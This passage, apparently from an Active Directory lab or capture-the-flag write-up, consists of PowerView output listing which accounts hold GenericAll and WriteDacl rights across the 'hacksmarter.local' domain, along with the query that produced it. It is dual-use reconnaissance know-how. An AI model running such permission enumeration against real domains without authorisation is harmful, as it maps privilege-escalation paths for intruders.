Admins,CN=Users,DC=hacksmarter,DC=l... S-1-5-18 GenericAll CN=Enterprise Key Admins,CN=Users,DC=hacks... S-1-5-18 GenericAll CN=RID Manager$,CN=System,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=RID Manager$,CN=System,DC=hacksmarter,D... S-1-5-18 GenericAll CN=RID Manager$,CN=System,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=RID Set,CN=DC01,OU=Domain Controllers,D... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=RID Set,CN=DC01,OU=Domain Controllers,D... S-1-5-18 GenericAll CN=RID Set,CN=DC01,OU=Domain Controllers,D... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=DnsAdmins,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=DnsAdmins,CN=Users,DC=hacksmarter,DC=local S-1-5-32-548 GenericAll CN=DnsAdmins,CN=Users,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=DnsAdmins,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=DnsUpdateProxy,CN=Users,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=DnsUpdateProxy,CN=Users,DC=hacksmarter,... S-1-5-32-548 GenericAll CN=DnsUpdateProxy,CN=Users,DC=hacksmarter,... S-1-5-18 GenericAll CN=DnsUpdateProxy,CN=Users,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=MicrosoftDNS,CN=System,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=MicrosoftDNS,CN=System,DC=hacksmarter,D... S-1-5-18 GenericAll CN=MicrosoftDNS,CN=System,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll DC=RootDNSServers,CN=MicrosoftDNS,CN=Syste... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll DC=RootDNSServers,CN=MicrosoftDNS,CN=Syste... S-1-5-18 GenericAll DC=RootDNSServers,CN=MicrosoftDNS,CN=Syste... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll DC=@,DC=RootDNSServers,CN=MicrosoftDNS,CN=... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll DC=@,DC=RootDNSServers,CN=MicrosoftDNS,CN=... S-1-5-9 GenericAll DC=@,DC=RootDNSServers,CN=MicrosoftDNS,CN=... S-1-5-18 GenericAll DC=@,DC=RootDNSServers,CN=MicrosoftDNS,CN=... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll DC=A.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll DC=A.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 GenericAll DC=A.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-18 GenericAll DC=A.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll DC=B.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll DC=B.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 GenericAll DC=B.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-18 GenericAll DC=B.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll DC=C.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll DC=C.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 GenericAll DC=C.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-18 GenericAll DC=C.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll DC=D.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll DC=D.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 GenericAll DC=D.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-18 GenericAll DC=D.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll DC=E.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll DC=E.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 GenericAll DC=E.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-18 GenericAll DC=E.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll DC=F.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll DC=F.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 GenericAll DC=F.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-18 GenericAll DC=F.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll DC=G.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll DC=G.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 GenericAll DC=G.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-18 GenericAll DC=G.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll DC=H.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll DC=H.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 GenericAll DC=H.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-18 GenericAll DC=H.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll DC=I.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll DC=I.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 GenericAll DC=I.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-18 GenericAll DC=I.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll DC=J.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll DC=J.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 GenericAll DC=J.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-18 GenericAll DC=J.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll DC=K.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll DC=K.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 GenericAll DC=K.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-18 GenericAll DC=K.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll DC=L.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll DC=L.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 GenericAll DC=L.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-18 GenericAll DC=L.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll DC=M.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll DC=M.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 GenericAll DC=M.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-18 GenericAll DC=M.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=DFSR-GlobalSettings,CN=System,DC=hacksm... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=DFSR-GlobalSettings,CN=System,DC=hacksm... S-1-5-18 GenericAll CN=DFSR-GlobalSettings,CN=System,DC=hacksm... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Domain System Volume,CN=DFSR-GlobalSett... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Domain System Volume,CN=DFSR-GlobalSett... S-1-5-18 GenericAll CN=Domain System Volume,CN=DFSR-GlobalSett... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Content,CN=Domain System Volume,CN=DFSR... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Content,CN=Domain System Volume,CN=DFSR... S-1-5-18 GenericAll CN=Content,CN=Domain System Volume,CN=DFSR... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=SYSVOL Share,CN=Content,CN=Domain Syste... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=SYSVOL Share,CN=Content,CN=Domain Syste... S-1-5-18 GenericAll CN=SYSVOL Share,CN=Content,CN=Domain Syste... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Topology,CN=Domain System Volume,CN=DFS... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Topology,CN=Domain System Volume,CN=DFS... S-1-5-18 GenericAll CN=Topology,CN=Domain System Volume,CN=DFS... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=DC01,CN=Topology,CN=Domain System Volum... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=DC01,CN=Topology,CN=Domain System Volum... S-1-5-18 GenericAll CN=DC01,CN=Topology,CN=Domain System Volum... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=DFSR-LocalSettings,CN=DC01,OU=Domain Co... S-1-5-21-3154413470-3340737026-2748725799-... GenericAll CN=DFSR-LocalSettings,CN=DC01,OU=Domain Co... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=DFSR-LocalSettings,CN=DC01,OU=Domain Co... S-1-5-18 GenericAll CN=DFSR-LocalSettings,CN=DC01,OU=Domain Co... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Domain System Volume,CN=DFSR-LocalSetti... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Domain System Volume,CN=DFSR-LocalSetti... S-1-5-18 GenericAll CN=Domain System Volume,CN=DFSR-LocalSetti... S-1-5-21-3154413470-3340737026-2748725799-... GenericAll CN=Domain System Volume,CN=DFSR-LocalSetti... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=SYSVOL Subscription,CN=Domain System Vo... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=SYSVOL Subscription,CN=Domain System Vo... S-1-5-18 GenericAll CN=SYSVOL Subscription,CN=Domain System Vo... S-1-5-21-3154413470-3340737026-2748725799-... GenericAll CN=SYSVOL Subscription,CN=Domain System Vo... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Goro,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Goro,CN=Users,DC=hacksmarter,DC=local S-1-5-32-548 GenericAll CN=Goro,CN=Users,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Goro,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=alt.svc,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=alt.svc,CN=Users,DC=hacksmarter,DC=local S-1-5-32-548 GenericAll CN=alt.svc,CN=Users,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=alt.svc,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Yorinobu,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Yorinobu,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-... GenericAll CN=Yorinobu,CN=Users,DC=hacksmarter,DC=local S-1-5-32-548 GenericAll CN=Yorinobu,CN=Users,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Yorinobu,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Hanako,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Hanako,CN=Users,DC=hacksmarter,DC=local S-1-5-32-548 GenericAll CN=Hanako,CN=Users,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Hanako,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Faraday,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Faraday,CN=Users,DC=hacksmarter,DC=local S-1-5-32-548 GenericAll CN=Faraday,CN=Users,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Faraday,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Adam Smasher,CN=Users,DC=hacksmarter,DC... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Adam Smasher,CN=Users,DC=hacksmarter,DC... S-1-5-32-548 GenericAll CN=Adam Smasher,CN=Users,DC=hacksmarter,DC... S-1-5-18 GenericAll CN=Adam Smasher,CN=Users,DC=hacksmarter,DC... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Soulkiller.svc,CN=Users,DC=hacksmarter,... S-1-5-18 GenericAll CN=Hellman,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Hellman,CN=Users,DC=hacksmarter,DC=local S-1-5-32-548 GenericAll CN=Hellman,CN=Users,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Hellman,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Kei.svc,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Kei.svc,CN=Users,DC=hacksmarter,DC=local S-1-5-32-548 GenericAll CN=Kei.svc,CN=Users,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Kei.svc,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Sliverhand.svc,CN=Users,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Sliverhand.svc,CN=Users,DC=hacksmarter,... S-1-5-32-548 GenericAll CN=Sliverhand.svc,CN=Users,DC=hacksmarter,... S-1-5-18 GenericAll CN=Sliverhand.svc,CN=Users,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Oda,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Oda,CN=Users,DC=hacksmarter,DC=local S-1-5-32-548 GenericAll CN=Oda,CN=Users,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Oda,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Saburo Arasaka,CN=Users,DC=hacksmarter,... S-1-5-18 GenericAll CN=BCKUPKEY_94d38b42-1100-48e8-9bcf-1b3be7... S-1-5-18 GenericAll CN=BCKUPKEY_94d38b42-1100-48e8-9bcf-1b3be7... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=BCKUPKEY_P Secret,CN=System,DC=hacksmar... S-1-5-18 GenericAll CN=BCKUPKEY_P Secret,CN=System,DC=hacksmar... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=BCKUPKEY_9ded72cf-0ad0-4dac-8641-e886b4... S-1-5-18 GenericAll CN=BCKUPKEY_9ded72cf-0ad0-4dac-8641-e886b4... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=BCKUPKEY_PREFERRED Secret,CN=System,DC=... S-1-5-18 GenericAll CN=BCKUPKEY_PREFERRED Secret,CN=System,DC=... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll ``` {% endcode %} #### WriteDACL perms {% code overflow="wrap" expandable="true" %} ```bash PS C:\\Users\\Administrator\\Desktop> Get-DomainObjectAcl -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "WriteDacl"} | select ObjectDN, SecurityIdentifier ObjectDN SecurityIdentifier -------- ------------------ DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 DC=hacksmarter,DC=local S-1-5-32-544 CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Computers,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=Computers,DC=hacksmarter,DC=local S-1-5-32-544 OU=Domain Controllers,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 OU=Domain Controllers,DC=hacksmarter,DC=local S-1-5-32-544 CN=System,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=System,DC=hacksmarter,DC=local S-1-5-32-544 CN=LostAndFound,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=LostAndFound,DC=hacksmarter,DC=local S-1-5-32-544 CN=Infrastructure,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=Infrastructure,DC=hacksmarter,DC=local S-1-5-32-544 CN=ForeignSecurityPrincipals,DC=hacksmarte... S-1-5-32-544 CN=Program Data,DC=hacksmarter,DC=local S-1-5-32-544 CN=Microsoft,CN=Program Data,DC=hacksmarte... S-1-5-32-544 CN=NTDS Quotas,DC=hacksmarter,DC=local S-1-5-32-544 CN=Managed Service Accounts,DC=hacksmarter... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Managed Service Accounts,DC=hacksmarter... S-1-5-32-544 CN=WinsockServices,CN=System,DC=hacksmarte... S-1-5-21-3154413470-3340737026-2748725799-512 CN=WinsockServices,CN=System,DC=hacksmarte... S-1-5-32-544 CN=RpcServices,CN=System,DC=hacksmarter,DC... S-1-5-21-3154413470-3340737026-2748725799-512 CN=RpcServices,CN=System,DC=hacksmarter,DC... S-1-5-32-544 CN=FileLinks,CN=System,DC=hacksmarter,DC=l... S-1-5-21-3154413470-3340737026-2748725799-512 CN=FileLinks,CN=System,DC=hacksmarter,DC=l... S-1-5-32-544 CN=VolumeTable,CN=FileLinks,CN=System,DC=h... S-1-5-21-3154413470-3340737026-2748725799-512 CN=VolumeTable,CN=FileLinks,CN=System,DC=h... S-1-5-32-544 CN=ObjectMoveTable,CN=FileLinks,CN=System,... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ObjectMoveTable,CN=FileLinks,CN=System,... S-1-5-32-544 CN=Default Domain Policy,CN=System,DC=hack... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Default Domain Policy,CN=System,DC=hack... S-1-5-32-544 CN=AppCategories,CN=Default Domain Policy,... S-1-5-21-3154413470-3340737026-2748725799-512 CN=AppCategories,CN=Default Domain Policy,... S-1-5-32-544 CN=Meetings,CN=System,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=Meetings,CN=System,DC=hacksmarter,DC=local S-1-5-32-544 CN=Policies,CN=System,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=Policies,CN=System,DC=hacksmarter,DC=local S-1-5-32-544 CN={31B2F340-016D-11D2-945F-00C04FB984F9},... S-1-5-21-3154413470-3340737026-2748725799-512 CN={31B2F340-016D-11D2-945F-00C04FB984F9},... S-1-5-21-3154413470-3340737026-2748725799-512 CN={31B2F340-016D-11D2-945F-00C04FB984F9},... S-1-5-21-3154413470-3340737026-2748725799-519 CN={31B2F340-016D-11D2-945F-00C04FB984F9},... S-1-5-21-3154413470-3340737026-2748725799-519 CN={31B2F340-016D-11D2-945F-00C04FB984F9},... S-1-5-21-3154413470-3340737026-2748725799-512 CN={31B2F340-016D-11D2-945F-00C04FB984F9},... S-1-3-0 CN={31B2F340-016D-11D2-945F-00C04FB984F9},... S-1-5-18 CN=User,CN={31B2F340-016D-11D2-945F-00C04F... S-1-5-21-3154413470-3340737026-2748725799-512 CN=User,CN={31B2F340-016D-11D2-945F-00C04F... S-1-5-21-3154413470-3340737026-2748725799-512 CN=User,CN={31B2F340-016D-11D2-945F-00C04F... S-1-5-21-3154413470-3340737026-2748725799-519 CN=User,CN={31B2F340-016D-11D2-945F-00C04F... S-1-3-0 CN=User,CN={31B2F340-016D-11D2-945F-00C04F... S-1-5-18 CN=Machine,CN={31B2F340-016D-11D2-945F-00C... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Machine,CN={31B2F340-016D-11D2-945F-00C... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Machine,CN={31B2F340-016D-11D2-945F-00C... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Machine,CN={31B2F340-016D-11D2-945F-00C... S-1-3-0 CN=Machine,CN={31B2F340-016D-11D2-945F-00C... S-1-5-18 CN={6AC1786C-016F-11D2-945F-00C04fB984F9},... S-1-5-21-3154413470-3340737026-2748725799-512 CN={6AC1786C-016F-11D2-945F-00C04fB984F9},... S-1-5-21-3154413470-3340737026-2748725799-512 CN={6AC1786C-016F-11D2-945F-00C04fB984F9},... S-1-5-21-3154413470-3340737026-2748725799-519 CN={6AC1786C-016F-11D2-945F-00C04fB984F9},... S-1-5-21-3154413470-3340737026-2748725799-519 CN={6AC1786C-016F-11D2-945F-00C04fB984F9},... S-1-5-21-3154413470-3340737026-2748725799-512 CN={6AC1786C-016F-11D2-945F-00C04fB984F9},... S-1-3-0 CN={6AC1786C-016F-11D2-945F-00C04fB984F9},... S-1-5-18 CN=User,CN={6AC1786C-016F-11D2-945F-00C04f... S-1-5-21-3154413470-3340737026-2748725799-512 CN=User,CN={6AC1786C-016F-11D2-945F-00C04f... S-1-5-21-3154413470-3340737026-2748725799-512 CN=User,CN={6AC1786C-016F-11D2-945F-00C04f... S-1-5-21-3154413470-3340737026-2748725799-519 CN=User,CN={6AC1786C-016F-11D2-945F-00C04f... S-1-3-0 CN=User,CN={6AC1786C-016F-11D2-945F-00C04f... S-1-5-18 CN=Machine,CN={6AC1786C-016F-11D2-945F-00C... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Machine,CN={6AC1786C-016F-11D2-945F-00C... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Machine,CN={6AC1786C-016F-11D2-945F-00C... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Machine,CN={6AC1786C-016F-11D2-945F-00C... S-1-3-0 CN=Machine,CN={6AC1786C-016F-11D2-945F-00C... S-1-5-18 CN=RAS and IAS Servers Access Check,CN=Sys... S-1-5-21-3154413470-3340737026-2748725799-553 CN=RAS and IAS Servers Access Check,CN=Sys... S-1-5-32-544 CN=File Replication Service,CN=System,DC=h... S-1-5-21-3154413470-3340737026-2748725799-512 CN=File Replication Service,CN=System,DC=h... S-1-5-32-544 CN=Dfs-Configuration,CN=System,DC=hacksmar... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Dfs-Configuration,CN=System,DC=hacksmar... S-1-5-32-544 CN=IP Security,CN=System,DC=hacksmarter,DC... S-1-5-21-3154413470-3340737026-2748725799-512 CN=IP Security,CN=System,DC=hacksmarter,DC... S-1-5-32-544 CN=ipsecPolicy{72385230-70FA-11D1-864C-14A... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecPolicy{72385230-70FA-11D1-864C-14A... S-1-5-32-544 CN=ipsecISAKMPPolicy{72385231-70FA-11D1-86... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecISAKMPPolicy{72385231-70FA-11D1-86... S-1-5-32-544 CN=ipsecNFA{72385232-70FA-11D1-864C-14A300... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNFA{72385232-70FA-11D1-864C-14A300... S-1-5-32-544 CN=ipsecNFA{59319BE2-5EE3-11D2-ACE8-0060B0... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNFA{59319BE2-5EE3-11D2-ACE8-0060B0... S-1-5-32-544 CN=ipsecNFA{594272E2-071D-11D3-AD22-0060B0... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNFA{594272E2-071D-11D3-AD22-0060B0... S-1-5-32-544 CN=ipsecNegotiationPolicy{72385233-70FA-11... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNegotiationPolicy{72385233-70FA-11... S-1-5-32-544 CN=ipsecFilter{7238523A-70FA-11D1-864C-14A... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecFilter{7238523A-70FA-11D1-864C-14A... S-1-5-32-544 CN=ipsecNegotiationPolicy{59319BDF-5EE3-11... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNegotiationPolicy{59319BDF-5EE3-11... S-1-5-32-544 CN=ipsecNegotiationPolicy{7238523B-70FA-11... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNegotiationPolicy{7238523B-70FA-11... S-1-5-32-544 CN=ipsecFilter{72385235-70FA-11D1-864C-14A... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecFilter{72385235-70FA-11D1-864C-14A... S-1-5-32-544 CN=ipsecPolicy{72385236-70FA-11D1-864C-14A... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecPolicy{72385236-70FA-11D1-864C-14A... S-1-5-32-544 CN=ipsecISAKMPPolicy{72385237-70FA-11D1-86... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecISAKMPPolicy{72385237-70FA-11D1-86... S-1-5-32-544 CN=ipsecNFA{59319C04-5EE3-11D2-ACE8-0060B0... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNFA{59319C04-5EE3-11D2-ACE8-0060B0... S-1-5-32-544 CN=ipsecNegotiationPolicy{59319C01-5EE3-11... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNegotiationPolicy{59319C01-5EE3-11... S-1-5-32-544 CN=ipsecPolicy{7238523C-70FA-11D1-864C-14A... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecPolicy{7238523C-70FA-11D1-864C-14A... S-1-5-32-544 CN=ipsecISAKMPPolicy{7238523D-70FA-11D1-86... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecISAKMPPolicy{7238523D-70FA-11D1-86... S-1-5-32-544 CN=ipsecNFA{7238523E-70FA-11D1-864C-14A300... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNFA{7238523E-70FA-11D1-864C-14A300... S-1-5-32-544 CN=ipsecNFA{59319BF3-5EE3-11D2-ACE8-0060B0... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNFA{59319BF3-5EE3-11D2-ACE8-0060B0... S-1-5-32-544 CN=ipsecNFA{594272FD-071D-11D3-AD22-0060B0... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNFA{594272FD-071D-11D3-AD22-0060B0... S-1-5-32-544 CN=ipsecNegotiationPolicy{7238523F-70FA-11... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNegotiationPolicy{7238523F-70FA-11... S-1-5-32-544 CN=ipsecNegotiationPolicy{59319BF0-5EE3-11... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNegotiationPolicy{59319BF0-5EE3-11... S-1-5-32-544 CN=ipsecNFA{6A1F5C6F-72B7-11D2-ACF0-0060B0... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNFA{6A1F5C6F-72B7-11D2-ACF0-0060B0... S-1-5-32-544 CN=AdminSDHolder,CN=System,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-512 CN=AdminSDHolder,CN=System,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-519 CN=AdminSDHolder,CN=System,DC=hacksmarter,... S-1-5-32-544 CN=ComPartitions,CN=System,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ComPartitions,CN=System,DC=hacksmarter,... S-1-5-32-544 CN=ComPartitionSets,CN=System,DC=hacksmart... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ComPartitionSets,CN=System,DC=hacksmart... S-1-5-32-544 CN=PolicyTemplate,CN=WMIPolicy,CN=System,D... S-1-5-21-3154413470-3340737026-2748725799-512 CN=PolicyType,CN=WMIPolicy,CN=System,DC=ha... S-1-5-21-3154413470-3340737026-2748725799-512 CN=WMIGPO,CN=WMIPolicy,CN=System,DC=hacksm... S-1-5-21-3154413470-3340737026-2748725799-512 CN=DomainUpdates,CN=System,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-512 CN=DomainUpdates,CN=System,DC=hacksmarter,... S-1-5-32-544 CN=Operations,CN=DomainUpdates,CN=System,D... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Operations,CN=DomainUpdates,CN=System,D... S-1-5-32-544 CN=ab402345-d3c3-455d-9ff7-40268a1099b6,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ab402345-d3c3-455d-9ff7-40268a1099b6,CN... S-1-5-32-544 CN=bab5f54d-06c8-48de-9b87-d78b796564e4,CN... 